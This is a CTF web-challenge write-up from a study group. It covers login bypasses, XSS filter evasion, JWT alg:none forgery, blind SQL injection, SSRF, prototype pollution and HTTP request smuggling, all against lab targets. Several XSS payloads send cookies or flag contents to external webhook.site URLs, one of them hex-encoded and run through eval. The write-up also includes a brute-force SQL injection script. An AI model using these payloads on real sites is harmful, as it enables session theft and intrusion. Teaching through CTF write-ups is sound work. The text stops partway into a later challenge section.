# Blackb6a Intensive Study Week 0 - Web Challenge Writeups (By a1668k) ## Table of Content - 🟩 Easy - [Login ✅](#Login) - [Basixss ✅](#Basixss) - [gpwaf ❌](#gpwaf) - [idorit ✅](#idorit) - [jsonwebtoken ✅](#jsonwebtoken) - [penguin-login ✅](#penguin-login) - [purell ✅](#purell) - [ssrf101 ✅](#ssrf101) - 🟨 Medium - [jsonweirdtoken ✅](#jsonweirdtoken) - [greeter ✅](#greeter) - [flagproxy ✅](#flagproxy) - [imagestore 🚧](#imagestore) - [pico-note-1 🚧](#pico-note-1) - 🟥 Hard - I am too weak to finish any of them (? ## Login :::success Difficulty: 🟩 Easy From: ACSC 2024 - 'Login!' 100 pts, 189 solves Link(s): https://github.com/blackb6a/intensive-study/tree/main/week0-web/sets/easy/acsc-login ::: The challenge source code is relatively short. We can analyze the source code part by part. To start with, there is a database that stores all the user and password. Looking at the logic, it is impossible to guess/recover the password of `user`. Therefore, I think the challenge maybe related to leak the password of the `user` account, or try to bypass the authentication mechanism with the `guest` account. ![image](https://hackmd.io/_uploads/ry5wsFw0yx.png) The only important logic in this challenge is basically this part. It allows the user to input a `username` and a `password`. Then the program will compare the password of the user. If the password is correct, then it will compare the name of the user. ![image](https://hackmd.io/_uploads/SkGFoKPCkl.png) One weird thing about this code is that the password was compared using `==`, but the username was compared using `===`. This is so sus. Therefore, lets search what is the difference between the two operators in JavaScript. ![image](https://hackmd.io/_uploads/SyjJc7DA1x.png) So, `==` (equal to) will do type conversion before comparison, in other words, it only compares the content but not its data type. However, `===` (equal value and equal type) will compare the value and the data type of the operand. With this idea, it is quite hard to bypass `==` part by entering a weird password. But is there any way to bypass the `===` part, making the program can successfully retrieve the user value with `USER_DB[username]`, but is not a string type (so that we can bypass the `=== 'guest'` part)? There are lots of weird behaviours in Javascript. One of them is, if you put a one-element array inside of an array, like `[['elem']]`, and call it, Javascript will treat it as `['elem']` instead… (idk why, maybe someone can tell me why) Reference: https://cycling74.com/forums/-3-bugs-weird-behaviour-of-one-element-array-and-array-of-arrays-in-dict-and-js With this weird behaviour, instead of entering `username=guest&password=guest`, we can enter `username[]=guest&password=guest`. Therefore, the database part will retrieve the password correctly (`USER_DB[username]` → `USER_DB[['guest']]` → `USER_DB['guest']`) but the username comparison will return false (because `['guest'] !== 'guest'`). Therefore, we can get the flag :D ![image](https://hackmd.io/_uploads/B1XKhXvAke.png) **<ins>Extra Part</ins>** According to the original author, this is not the intended solution… Because he/she accidentally make the username comparison into `===` instead. The original idea should be `==`. What if the challenge became `username == 'guest'` instead? How to solve it? The analysis we did before is still useful. But we need a way to retrieve a value that have no password and the username is not `‘guest’`. The idea is that as every Javascript objects inherit properties and methods from a prototype, therefore, they contains lots of hidden attributes. ![image](https://hackmd.io/_uploads/H1vbq7DAyl.png) Therefore, we can try to retrieve things like `__proto__` or `__defineGetter__`. `username[]=__proto__` or `username[]=__defineGetter__` First, as we changed the username from String into an Object instead, the length check will got bypassed. ![image](https://hackmd.io/_uploads/S1z7cXvAyx.png) Then, we can retrieve the hidden attribute because of the weird behaviour we discussed earlier. And the hidden attribute (`USER_DB.__defineGetter__`) didn’t have the `password` field, so it will return `undefined`. If we don’t send the `password` field in the POST request, the value of `password` will be `undefined` too. ![image](https://hackmd.io/_uploads/S1eE9QDA1g.png) Thus, the final payload will be: `username[]=__defineGetter__` ![image](https://hackmd.io/_uploads/Bkiih7DC1x.png) --- ## Basixss :::success Difficulty: 🟩 Easy From: From ensy big big Link(s): https://github.com/blackb6a/intensive-study/tree/main/week0-web/sets/easy/basixss ::: This challenge focuses on bypassing some filters and able to steal some things from client-side (e.g. `document.cookie`). ![image](https://hackmd.io/_uploads/SJISpFwAJg.png) Let's talk about what filters have been applied in this challenge. 1) `/<\/script/gi` -> `""` `</script` will be removed from the payload. ![image](https://hackmd.io/_uploads/S1-le5wC1x.png) As the `</script` will only be replaced once, we can bypass it by inserting it between a normal `</script>` tag, e.g. `</s</scriptript>`. Then the `</script` part will be removed by the program, leaving on the `</script>` part. ![image](https://hackmd.io/_uploads/BJLKqqw0ke.png) 2) `/["'&\\\n\r\f]/g` -> `""` All these special characters, including `"`, `'`, `&`, `\`, `\n`, `\r`, and `\f`, will be removed from the payload. ![image](https://hackmd.io/_uploads/Sy4hecP0ye.png) Therefore, when we are crafting our payload, we cannot use any special characters, especially `"` and `'`. There are some common XSS payloads that don't require any special characters, for example: - `<image/src/onerror=prompt(8)>` - `<script>javascript:alert(1)</script>` When you really need the `"` character, such as crafting a `fetch("")` payload, you can use Template literals (Template strings) by replacing the `"` into <code>`</code>, i.e. <code>fetch(``)</code>. ![image](https://hackmd.io/_uploads/ryhVMsDRJg.png) 3) `/<(\w+)([^>]*)\/>/g` -> `"<$1$2></$1>"` Every single tag, such as `<img />` or `<input />` will be modified to paired tags, such as `<img></img>` or `<input></input>`. ![image](https://hackmd.io/_uploads/Hy0yf5PA1g.png) One thing about those single tags is that some of them don't really need the `/` part, e.g. you can create an image tag with only `<img>`. Therefore, this part is not really important. After discussing all the filters and their bypassing techniques, let's craft our payload! First of all, in order to make the script work, you will need to close the original `<script>` tag. Therefore the first part of the script will be `</script>`, and bypass the 1<sup>st</sup> filter with `</scr</scriptipt>`. After closing the script tag, time for the XSS payload. Let's say we want to craft a `fetch()` XSS to steal some cookies, we can do it with <code><img src=x onerror=fetch(\`http</span>s://webhook.site/00013a17-f1f8-46bc-b5a0-71c77d5bfbbe?${document.cookie}\`)></code> Therefore, our final payload will look like this: ```javascript=! </scr</scriptipt><img src=x onerror=fetch(`https://webhook.site/00013a17-f1f8-46bc-b5a0-71c77d5bfbbe?${document.domain}`)> ``` ```! /index.html?payload=</scr</scriptipt><img src=x onerror=fetch(`https://webhook.site/00013a17-f1f8-46bc-b5a0-71c77d5bfbbe/?${document.domain}`)> ``` ![image](https://hackmd.io/_uploads/B1UmLsP0ye.png) --- ## gpwaf :::success Difficulty: 🟩 Easy From: DiceCTF 2024 Quals - 'gpwaf' 115 pts, 180 solves Link(s): https://github.com/blackb6a/intensive-study/tree/main/week0-web/sets/easy/gpwaf ::: I don't have a chatgpt key ;( so I can't do this challenge right now. (Also I don't like prompt injection challenge xDD) --- ## idorit :::success Difficulty: 🟩 Easy From: ImaginaryCTF 2023 - 'idorit' 100 pts, 474 solves Link(s): https://github.com/blackb6a/intensive-study/tree/main/week0-web/sets/easy/idoriot ::: First of all, we can analyze the source code a little bit and find out what do we need to do in order to get the flag. (In `index.php`) In order to get the flag, we will need to make our PHP Session variable `user_id` to be same as the admin's `user_id`. ![image](https://hackmd.io/_uploads/B1DIcjPCke.png) Then we can take a look how the program set the `user_id` varaible. The PHP variable was initialized in `register.php`. One interesting thing is that, the program allows the user to input a custom `user_id` inside the POST request. ![image](https://hackmd.io/_uploads/B16diiDAkl.png) Therefore, if we can find out the admin's `user_id`, then we can register a new user account with its `user_id` and get the flag. By looking at the SQL query in `index.php`, we can find out that the `user_id` of admin is `0`. ![image](https://hackmd.io/_uploads/H1c22sDRJe.png) After gathering all the information, let's do the attack. Intercept the POST request of the register function, and create a new user with `user_id=0`. Then get the flag UwU ![image](https://hackmd.io/_uploads/H1Swl2PCkg.png) ![image](https://hackmd.io/_uploads/BJMYx2PRJl.png) --- ## jsonwebtoken :::success Difficulty: 🟩 Easy From: From ensy big big Link(s): https://github.com/blackb6a/intensive-study/tree/main/week0-web/sets/easy/jsonwebtoken ::: First of all, let's see what we need to do in order to get the flag UwU From `index.js`, the website accepts a POST request named `/flag`, with a varaible called `token`. To get the flag, we need create a jwt token with a varaible `admin` set to be `true`. ![image](https://hackmd.io/_uploads/BkU3V3wAyx.png) However, we dont know the value of the `secret`, as it is a randomly generated string. So we need to find a way to generate a jwt token without knowing the secret. ![image](https://hackmd.io/_uploads/By4SB3D01g.png) There is an attack called "None Hashing Algorithm", allowing the attacker to change the `alg` parameter into `none` to bypass the signature part. ~~Ok, I am lazy xDD Let me copy some of the slides that I made before~~ ![image](https://hackmd.io/_uploads/rkG2ewXkxx.png) ![image](https://hackmd.io/_uploads/rku0eP7Jxl.png) Therefore, we can create a JWT token with `"alg" : "none"` and a variable `"admin": true`. (btw, this website is https://jwt.io/) ![image](https://hackmd.io/_uploads/S18_LhvAJl.png) Craft a POST request and you will get the flag UwU ![image](https://hackmd.io/_uploads/rkPn83DC1x.png) Let me also talk about why this happened and the remediation: The main problem here is that the challenge author did not verify the algorithm of the JWT token. To make this challenge unsolvable, the challenge author will need to verify the JWT algorithm first, then pass the verified algorithm into `jwt.verify()` ![2025-04-21_14-09](https://hackmd.io/_uploads/HkGzZPQyex.png) --- ## penguin-login :::success Difficulty: 🟩 Easy From: LACTF 2024 - 'penguin-login' 392 pts, 182 solves Link(s): https://github.com/blackb6a/intensive-study/tree/main/week0-web/sets/easy/penguin-login ::: First of all, we can try to look for some vulnerabilities in the provided source code. As the logic is rather simple, we make a POST request named `/submit` with a parameter called `username`. If you are familiar with some attack patterns, you will notice Line 60 contains a SQL injection vulnerability, as the author didn't use prepared statements. (Note: Prepared statement may also lead to SQL injection if the programmer misimplemented) ![image](https://hackmd.io/_uploads/ryd91TDRye.png) We can confirm this vulnerability by inputting a single quote `'` in the username. ![image](https://hackmd.io/_uploads/BJivJaDCJg.png) However, the author also set up some filters. You can only use ASCII letters, digits, ` ` (space), `'`, `_`, `{` and `}`. Also, you cannot use the keyword `like`. ![image](https://hackmd.io/_uploads/H1BnJaPAJx.png) ![image](https://hackmd.io/_uploads/Hkij1awAkl.png) Also, the response will not print any query values, which means this is an Error-based SQL injection challenge. ![image](https://hackmd.io/_uploads/B1kNg6w0yg.png) Given that we know the flag is one of the penguin's names, what we need to do is leak that penguin's name, aka the flag, character by character. ![image](https://hackmd.io/_uploads/BJ-YlpDCJl.png) Although the author blocked us from using the keyword `like`, there is a keyword that can do similar jobs in PostgreSQL - `SIMILAR TO`. This keyword works like the keyword `like`, but instead, it interprets the pattern with regular expression. Luckily, the author allow us to use the underscore `_`, which matches any single character in the PostgreSQL pattern. Therefore, we can first find the length of the flag using this payload: ``` ' union select name from penguins where name SIMILAR TO 'lactf{_}' and '1 ' union select name from penguins where name SIMILAR TO 'lactf{__}' and '1 ' union select name from penguins where name SIMILAR TO 'lactf{___}' and '1 ... ``` Once we have enough `_`, the server will return `"We found a penguin!!!!!"`, which means we found the length of the flag. ![image](https://hackmd.io/_uploads/rkbAd6D0ye.png) Afterward, we need to brute-force flag character by character. If we successfully guessed that character, the server will return `"We found a penguin!!!!!"`, then move on to the next character. However, one thing to note is that you cannot write payload like `'lactf{2__}'`, as `{<number>}` is used to do repetition in regex, e.g. `a{3}` == `aaa`. Therefore, we will need to start brute-forcing starting from the 7<sup>th</sup> character (given the flag format is `lactf{xxx}`). ``` ' union select name from penguins where name SIMILAR TO '______a______________________________________' and '1 ' union select name from penguins where name SIMILAR TO '______b______________________________________' and '1 ... ' union select name from penguins where name SIMILAR TO '______9a_____________________________________' and '1 ' union select name from penguins where name SIMILAR TO '______9b_____________________________________' and '1 ... ``` Then we will get the flag UwU This is my solve script for this challenge (You can also do it with burp suite if you don't like to write scripts): ```python= import requests import string url = 'http://localhost:1337/submit' obj = {'username': ''} # Retrieve the length of the flag base_length = len('lactf{}') length = 1 while True: obj['username'] = "' union select name from penguins where name SIMILAR TO 'lactf{%s}' and '1" % "".join(['_' for i in range(length)]) r = requests.post("http://localhost:1337/submit", data = obj) if r.text == "We found a penguin!!!!!": break length += 1 # Brute-force the flag character by character flag = ['_' for i in range(base_length + length)] for i in range(base_length-1, base_length+length): for c in (string.ascii_letters + string.digits + '_'): flag[i] = c obj['username'] = "' union select name from penguins where name SIMILAR TO '%s' and '1" % "".join(flag) r = requests.post("http://localhost:1337/submit", data = obj) if r.text == "We found a penguin!!!!!": print("".join(flag)) break # Print out the flag UwU flag[:6] = 'lactf{' flag[base_length+length-1] = '}' print("".join(flag)) ``` flag = `lactf{90stgr35_3s_n0t_l7k3_th3_0th3r_dbs_0w0}` --- ## purell :::success Difficulty: 🟩 Easy From: LACTF 2025 'purell' - ? pts, ? solves Link(s): https://github.com/blackb6a/intensive-study/tree/main/week0-web/sets/easy/purell, https://github.com/uclaacm/lactf-archive/tree/main/2025/web/purell ::: This challenge mainly focuses on crafting XSS payloads that can bypass each filter + steal the admin's token by supplying that payload to the admin bot. Each level has a different filter we need to bypass. Let's talk about each level one by one. ### <ins>Level 0</ins> Level 0 filter: ```javascript! (html) => html ``` The first level filter is basically equal to without any filters xDDD Therefore, we can create a normal XSS payload that can steal the content inside `.flag`. Payload: ```javascript! <script>fetch('https://webhook.site/abfe322e-2e78-44ec-ba51-22430874bccd?'+document.querySelector('.flag').innerHTML)</script> ``` ### <ins>Level 1</ins> Level 1 filter: ```javascript! (html) => html.includes('script') || html.length > 150 ? 'nuh-uh' : html ``` This level added two extra filters, 1) the payload cannot contain the word `script`, 2) the length of the payload is less than 150. The first filter can be bypassed by capitalizing the word `script`. Payload: ```javascript! <Script>fetch('https://webhook.site/abfe322e-2e78-44ec-ba51-22430874bccd?'+document.querySelector('.flag').innerHTML)</Script> ``` ### <ins>Level 2</ins> Level 2 filter: ```javascript! (html) => html.includes('script') || html.includes('on') || html.length > 150 ? 'nuh-uh' : html ``` This level added an extra filter, the payload cannot contain the word `on`. What the author wants to do is to disable XSS payloads like `<img src=x onerror='javascript:alert(1)'>`. But we can use the same payload as my last level payload, as my last payload did not contain any keyword `on`. Payload: ```javascript! <Script>fetch('https://webhook.site/abfe322e-2e78-44ec-ba51-22430874bccd?'+document.querySelector('.flag').innerHTML)</Script> ``` ### <ins>Level 3</ins> Level 3 filter: ```javascript! (html) => html.toLowerCase().replaceAll('script', '').replaceAll('on', '') ``` At this level, we can't bypass the filter by capitalizing the word, as the payload will be converted to all lowercase. The filter will attempt to replace all `script` and `on`. However, as the filter did not remove those words recursively, we can just bypass the filter by inserting the same word between the original word, e.g. `scSCRIPTript`, or `oONn`. Also, as the payload will be converted to all lowercase, we cannot just write the function like `querySelector` anymore. However, in JavaScript, we can make function calls using square brackets ("Property Accessors"), i.e. `document.querySelector('.flag')` == `document['querySelector']('.flag')`. Also, Javascript is loosely typed, we can use hex escapes to get our capital letters, i.e. `'query\x53elector'` Payload: ```javascript! <scSCRIPTript>fetch('https://webhook.site/abfe322e-2e78-44ec-ba51-22430874bccd?'+document['query\x53elector']('.flag')['inner\x48\x54\x4d\x4c'])</scSCRIPTript> ``` ### <ins>Level 4</ins> Level 4 filter: ```javascript! (html) =>html.toLowerCase().replaceAll('script', '').replaceAll('on', '').replaceAll('>', '') ``` This time, we cannot use the closing brackets `'>'` anymore. Therefore, we cannot use the `<script>` tag anymore. We can try to use some self-closing tags `<img>` to do XSS. And we can use comments `//` to ignore the closing brackets `>`. e.g. `<img src='x' onerror='...'//`. <ins>Reference</ins>: https://security.stackexchange.com/questions/148614/xss-vectors-that-work-with-no-closing-brackets By combining the technique we introduced in Level 3, we can use `oONnerror` to bypass the second filter. Payload: ```javascript! <img src='x' oonnerror="fetch('https://webhook.site/abfe322e-2e78-44ec-ba51-22430874bccd?'+document['query\x53elector']('.flag')['inner\x48\x54\x4d\x4c'])"// ``` ### <ins>Level 5</ins> Level 5 filter: ```javascript! (html) => html.toLowerCase().replaceAll('script', '').replaceAll('on', '').replaceAll('>', '').replace(/\s/g, '') ``` At this level, the program will try to filter all the whitespace characters `' '`. But in Javascript, we can use slashes `/` to replace spaces. Payload: ```javascript! <img/src='x'/oonnerror="fetch('https://webhook.site/abfe322e-2e78-44ec-ba51-22430874bccd?'+document['query\x53elector']('.flag')['inner\x48\x54\x4d\x4c'])"// ``` ### <ins>Level 6</ins> Level 6 filter: ```javascript! (html) => html.toLowerCase().replaceAll('script', '').replaceAll('on', '').replaceAll('>', '').replace(/\s/g, '').replace(/[()]/g, '') ``` Come to the last level, the program will remove all the parentheses, i.e. `(` and `)`. There are multiple ways to bypass this restriction. #### Method 1 - HTML encoding Because the browser HTML-decodes the attribute value before processing it further, we can try to encode all the parentheses using HTML entities, i.e. `(` -> `&#x28;`, `)` -> `&#x29;`. <ins>Reference</ins>: https://portswigger.net/support/bypassing-signature-based-xss-filters-modifying-html Payload: ```javascript! <img/src='x'/oonnerror="fetch&#x28;'https://webhook.site/abfe322e-2e78-44ec-ba51-22430874bccd?'+document['query\x53elector']&#x28;'.flag'&#x29;['inner\x48\x54\x4d\x4c']&#x29;"// ``` #### Method 2 - `eval.call` + Template Literal This is a method I discovered when I try to look for some writeups of this challenge. Since function calls require parentheses, we need an alternative way to execute Javascript. One approach is to use `eval.call` together with template literals. We can encode the entire JS payload in hex and place it inside a template literal, like this: <code>\`${'\x66\x65...'}\`</code>, and then use `eval.call` to execute the payload. <ins>Reference</ins>: https://securani.com/writeups/LA_CTF_2025/purell.html Payload: ```javascript! <img/src='x'/oonnerror="eval.call`${'\x66\x65\x74\x63\x68\x28\x27\x68\x74\x74\x70\x73\x3a\x2f\x2f\x77\x65\x62\x68\x6f\x6f\x6b\x2e\x73\x69\x74\x65\x2f\x61\x62\x66\x65\x33\x32\x32\x65\x2d\x32\x65\x37\x38\x2d\x34\x34\x65\x63\x2d\x62\x61\x35\x31\x2d\x32\x32\x34\x33\x30\x38\x37\x34\x62\x63\x63\x64\x3f\x27\x2b\x64\x6f\x63\x75\x6d\x65\x6e\x74\x5b\x27\x71\x75\x65\x72\x79\x53\x65\x6c\x65\x63\x74\x6f\x72\x27\x5d\x28\x27\x2e\x66\x6c\x61\x67\x27\x29\x5b\x27\x69\x6e\x6e\x65\x72\x48\x54\x4d\x4c\x27\x5d\x29'}`"// ``` The encoded string is equal to: ```javascript! fetch('https://webhook.site/abfe322e-2e78-44ec-ba51-22430874bccd?'+document['querySelector']('.flag')['innerHTML']) ``` --- ## ssrf101 :::success Difficulty: 🟩 Easy From: Wolvsec CTF 2022 - 'ssrf101' 241 pts, 162 solves Link(s): https://github.com/blackb6a/intensive-study/tree/main/week0-web/sets/easy/ssrf101 ::: This challenge is kind of easy xDDD First of all, if you want to play the original challenge, you will need to follow the spoiler below to make some changes & create some new files. In this writeup, I will follow the original challenge. :::spoiler <ins>**Here are all the files you need to build the challenge**</ins> **`Dockerfile`** ```dockerfile= From node:12 RUN mkdir -p /ctf/app WORKDIR /ctf/app COPY ./package.json ./ COPY ./package-lock.json ./ RUN npm install COPY ./ ./ EXPOSE 80 CMD ["/bin/bash", "start.sh"] ``` **`public.js`** ```javascript= const { URL } = require('url') const http = require('http') const express = require('express') const app = express() const publicPort = 80 const private1Port = 1001 // Use this endpoint to reach a web server which // is only locally accessible. Try: /ssrf?path=/ app.get('/ssrf', (req, res) => { const path = req.query.path if (typeof path !== 'string' || path.length === 0) { res.send('path must be a non-empty string') } else { const url = `http://localhost:${private1Port}${path}` const parsedUrl = new URL(url) if (parsedUrl.hostname !== 'localhost') { // Is it even possible to get in here??? res.send('sorry, you can only talk to localhost') } else { // Make the request and return its content as our content. http.get(parsedUrl.href, ssrfRes => { let contentType = ssrfRes.headers['content-type'] let body = '' ssrfRes.on('data', chunk => { body += chunk }) ssrfRes.on('end', () => { if (contentType) { res.setHeader('Content-Type', contentType) } res.send(body) }) }).on('error', function(e) { res.send("Got error: " + e.message) }) } } }) // this port is exposed publicly app.listen(publicPort, () => { console.log(`Listening on ${publicPort}`) }) ``` **`private1.js`** ```javascript const express = require('express'); const app = express() const private1Port = 1001 app.get('/', (req, res) => { res.sendFile(__dirname + '/private1.js') }) app.get('/private2', (req, res) =>{ res.sendFile(__dirname + '/private2.js') }) // this port is only exposed locally app.listen(private1Port, () => { console.log(`Listening on ${private1Port}`) }) ``` **`private2.js`** ```javascript= const express = require('express') const app = express() const private2Port = 10011 app.get('/flag', (req, res) => { res.sendFile(__dirname + '/flag.txt') }) // this port is only exposed locally app.listen(private2Port, () => { console.log(`Listening on ${private2Port}`) }) ``` **`start.sh`** ```bash= #!/bin/bash node /ctf/app/private1.js& node /ctf/app/private2.js& node /ctf/app/public.js ``` **`compose.yml`** ```yaml= version: '3.5' services: web: build: . ports: - "1337:80" ``` **`flag.txt`** ```= wsc{ssrf_c4n_b3_fun_xl9m782} ``` **`package.json` & `packet-lock.json`** Just copy the one in `jsonwebtoken`: https://github.com/blackb6a/intensive-study/tree/main/week0-web/sets/easy/jsonwebtoken/dist Then build the image & container using `sudo docker-compose up`. And the challenge will be accessible in http://localhost:1337 ::: Let's take a look at the entry point. In `public.js`, there is an endpoint called `/ssrf`, accepting a GET parameter named `path`. The server will then visit a website that is only locally accessible, i.e. `http://localhost:1001${path}`. ![image](https://hackmd.io/_uploads/ryrsy0mJle.png) Looking at `private1.js`, there are two different endpoints, `/` and `/private2`. If we try to visit `http://localhost:1337/ssrf?path=/`, we can see the source code of `private1.js`. Since the server will try to visit `http://localhost:1001/`. ![image](https://hackmd.io/_uploads/H14bxR71xx.png) If we try to visit `http://localhost:1337/ssrf?path=/private2`, the server will print the source code of `private2.js`. Since the server will try to visit `http://localhost:1001/private2`. ![image](https://hackmd.io/_uploads/HJQ9sT7Jgx.png) Looking at `private2.js`, there is an endpoint called `/flag`, exposed locally in port 10011. In order to leak the flag, we will need the server to visit `http://localhost:10011/flag`. Since the server will visit `http://localhost:1001${path}` by supplying the `path`, we can just set `path` to `1/flag` and get the flag. ![image](https://hackmd.io/_uploads/H1gjj6m1xl.png) --- ## jsonweirdtoken :::success Difficulty: 🟨 Medium From: From ensy big big Link(s): https://github.com/blackb6a/intensive-study/tree/main/week0-web/sets/medium/jsonweirdtoken ::: First of all, let's see what we need to do in order to get the flag UwU There are two different POST endpoints, first one is the `/flag` endpoint, which accepts a parameter `token`. ![image](https://hackmd.io/_uploads/SJq2H0P0yg.png) One really weird stuff here is the `jwt.verify` function... The usage of the `jwt.verify` is as follows: `jwt.verify(token, secretOrPublicKey, [options, callback])`. In this case, the JWT token is stored in `config.secret` instead, and the value of `token` in the POST request is the `secretOrPublicKey`. Looking at the implementation of `config`. Ummmm... there are no varaible `secret` inside `config` ... Therefore, we will need to find a way to inject the variable `secret`, with the value being the JWT token. ![image](https://hackmd.io/_uploads/ryOsICP0Jx.png) Let's look at the second POST endpoint - `/signup`. This endpoint accepts a parameter - `user`. The `user` parameter needs to be a JSON object in string format. Then, it will merge with the `config.users` using a `merge()` function. ![image](https://hackmd.io/_uploads/SysoD0DCke.png) ![image](https://hackmd.io/_uploads/S1C1uAPRyx.png) Here, we will need to introduce a javascript attack - **"Prototype Pollution"**. If you have tried the easy challenge - [Login](#Login) before ~~and also read my writeup~~, you should have seen the `Prototype` before. Suggest you read this article by Huli big big if you want to know more about Prototype Pollution ~~(I bought his book in Taiwan but still haven't had time to read it ;( )~~: https://github.com/aszx87410/blog/issues/88. Let me quickly go thought what Prototype Pollution is. Many object-oriented languages use classes as blueprints for object creation. And the newly created object will inherit that "blueprints", which contains lots of different methods, e.g. `toString()`, `valueOf()`. ![image](https://hackmd.io/_uploads/SJHhked0yg.png) One interesting thing about this "Prototype", if we try to call `config.__proto__`, it will call `Object.prototype` instead. ![image](https://hackmd.io/_uploads/rJNZ7x_RJl.png) Therefore, when we try to call some inherited methods like `config.toString()`, it will try to call `Object.prototype.toString()`. ![image](https://hackmd.io/_uploads/r1oK7ed01e.png) This feature is also applicable when you are calling the objects inside an object, e.g. `config.users` in our case. ![image](https://hackmd.io/_uploads/Bk3wrl_AJe.png) With this knowledge in mind, as we want to set `config.secret` to our JWT token, this means we will need to modify the value of `Object.prototype.secret` with our JWT token. As Line 53 will try to merge our JSON object with `config.users`, if we try to modify `config.users.__proto__.secret`, this is equal to modifying `Object.prototype.secret`. Then the value of `config.secret` will be equal to the value we changed. ![image](https://hackmd.io/_uploads/Hkm7Sl_0kx.png) Therefore, just need to make a JSON object `.__proto__.secret == <A custom JWT token>`. ```javascript! { "__proto__": { "secret": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhZG1pbiI6dHJ1ZX0.y-9DkXrcLOqsfKgBKqh2dT-0NesbH0NOu_mV1pmuBuo" } } ``` ![image](https://hackmd.io/_uploads/SJFc8eOA1l.png) Sent this JSON object in string format in the parameter `user` to the `/signup` POST endpoint. ![image](https://hackmd.io/_uploads/Sy_6IlOR1g.png) Then get the flag by sending the secret of the JWT token in the parameter `token` to the `/flag` POST endpoint UwU ![image](https://hackmd.io/_uploads/r1F-we_AJe.png) --- ## Greeter :::success Difficulty: 🟨 Medium From: From ensy big big Link(s): https://github.com/blackb6a/intensive-study/tree/main/week0-web/sets/medium/greeter ::: :::info Note: Since my Macbook Control Panel occupied the port `3000`, I have changed all the port number in `main.py` to `1337`. Therefore, you will see my payload is using port `1337` instead of the original port `3000` ::: First of all, let's check what we need to do in order to get the flag. There is a XSS bot under the endpoint `/report`. By submitting a URL query, the bot will create a new cookie named `flag` inside `http://localhost:1337/`, and visit our supplied URL link. ![image](https://hackmd.io/_uploads/rJeql14ylx.png) Also, the base url accept a parameter `name`, where the server will then say Hi to our supplied `name`. ![image](https://hackmd.io/_uploads/HypM7J41lx.png) Therefore, the ultimate goal is to craft an XSS payload that can steal the cookie value. So, let's take a look on how the parameter `name` works and what are the restrictions. By reading the source code `index.html`, our supplied `name` will go pass two different set of filters. 1) the `<!-- name -->` part: the server will replace all `&` into `&amp;`, and all the parts that starts with `<` and followed by some word characters, `[a-zA-Z0-9_]`, into starting with `&lt;` instead. 2) the `<!-- name_storage -->` part: the server will replace all `&` and `"` into HTML characters, `&amp;` and `&quot;`, in our `name`. ![image](https://hackmd.io/_uploads/B19in0mygx.png) There are two interesting bugs in this two filter: 1) `<!--` will not be replaced by the first filter, as `!` is not a word character in regex. 2) `<script>...</script>` will not be replaced by the second filter. With this two bugs, we do XSS by inserting some scripts inside `--> ... <!--`. ![image](https://hackmd.io/_uploads/rJUOiJNkee.png) So now the only thing we need is to craft an XSS payload that can steal cookie without using `&` and `"`. If you read / tried the easy challenge - [purell](#purell), this should be an easy task for you :D Payload: ```javascript! --><img src=x onerror=fetch(`https://webhook.site/abfe322e-2e78-44ec-ba51-22430874bccd?${document.cookie}`)><!-- ``` ![image](https://hackmd.io/_uploads/r1Iw0JVyge.png) ![image](https://hackmd.io/_uploads/SkQ3HeE1ll.png) btw, I commented out all the parts about hCaptcha, as I don't know how to setup that xDDD ![image](https://hackmd.io/_uploads/S1CFrlNkxe.png) ![image](https://hackmd.io/_uploads/HklKHlE1xl.png) --- ## flagproxy :::success Difficulty: 🟨 Medium From: TeamItaly CTF 2022 - 'flagproxy' 471 pts 41 solves Link(s): https://github.com/blackb6a/intensive-study/tree/main/week0-web/sets/medium/flagproxy ::: First of all, let's take a look what API endpoints can we access. From `server-front/index.js`, there are two different API endpoints. 1. `GET /flag`, with a parameter `token`. The `token` will send to the backend, and the backend will print out the flag if the supplied `token` is inside the backend array `tokens[]`. Therefore, there maybe two ways we may do get the flag: 1) try to add a valid token into the backend, or 2) try to bypass the authentication, i.e. the function call `tokens.includes(token)`. 2) `GET /add-token`, with a parameter `token` and `auth`. We need to provide a valid `AUTH`, which is an environment variable was defined in the `docker-compose.yaml`, in order to add a `token` to the backend. As the author used strict comparsion when verifying the `auth` parameter. There is no way to bypass this authentication part (?). Knowing that the 2<sup>nd</sup> API endpoint is useless unless we successfully leaked its environment variable `AUTH`, the only attack point left will be the 1<sup>st</sup> API endpoint. So... it is also impossible to bypass the `tokens.includes(token)` authentication. What else we can do to add a valid token into the backend? In the 1<sup>st</sup> API endpoint, the only thing we can control is the input `token`. So let's take a deep look on how this parameter will be parsed. Firstly, after we send a `/flag` request with a input `token`, the server will send an HTTP request to its internal server endpoint `/flag`, with our supplied `token` placing into the header `Authorization`. One interesting thing here is, the author is not using default Javascript methods to send the request, but instead having his own implementation of `request()`. ![image](https://hackmd.io/_uploads/SJiSBjS1lg.png) The author's `request()` implementation is listed under `/server-front/http-client.js`, where it will write a HTTP request by parsing the given headers together with some other headers. ![image](https://hackmd.io/_uploads/ryLC8iSyll.png) Let's take an example. When we visit `http://xxx:1337/flag?token=abcd`, the server frontend will craft this HTTP request: ```= GET /flag HTTP/1.0\r\n Host: <Back>\r\n Authorization: Bearer abcd\r\n Content-Length: 0\r\n Connection: close\r\n \r\n ``` and send it to the backend port `8080`. Here, we will need to introduce a web technique called "HTTP request smuggling". This graph from PortSwigger clearly explain how this attack works. Basically we are trying to merge multiple requests into a single request. If the backend got this vulnerability, the backend will seperate this request into several requests. ![image](https://hackmd.io/_uploads/S1aLtiBkge.png) <ins>Reference</ins>: https://portswigger.net/web-security/request-smuggling With this technique in mind, back to our challenge. As we can control the input of the `token`, can we try to inject another request between the original request, like this: ```= GET /flag HTTP/1.0 Host: <Back> Authorization: Bearer aaaa Content-Length: 0 Connection: keep-alive GET /add-token?token=xxxx HTTP/1.0 Host: localhost Content-Length: 0 Connection: close ``` If you are smart enough ~~(unlike me need to read writeups before writing this)~~, you can see that the highlighted part are the extra part compare to the original request. If we can inject this into our `token`, then the backend may treat it as two requests instead of one. ![image](https://hackmd.io/_uploads/rJSxpoBkle.png) Here, I will need to introduce one more vulnerbaility from NodeJS - CVE-2022-35256, where most of the old NodeJS version before 18.5.0 does not handle header fields that aren't terminated with CRLF (`\r\n`). With this vulnerability, the backend server will accept some headers using `\n` as line terminator. <ins>Reference</ins>: https://www.preludesecurity.com/blog/cve-2022-35256-http-request-smuggling-in-nodejs Therefore, we can craft something like this: ![image](https://hackmd.io/_uploads/H10r13H1le.png) and the server will treat it as two different requests. One is the original request, and another one is `/add-token` request. Then we can get the flag using our newly added `token` :D ![image](https://hackmd.io/_uploads/H1s9yhS1xe.png) --- ## imagestore :::success Difficulty: 🟨 Medium From: TeamItaly CTF 2022 - 'imagestore' 499 pts 10 solves Link(s): 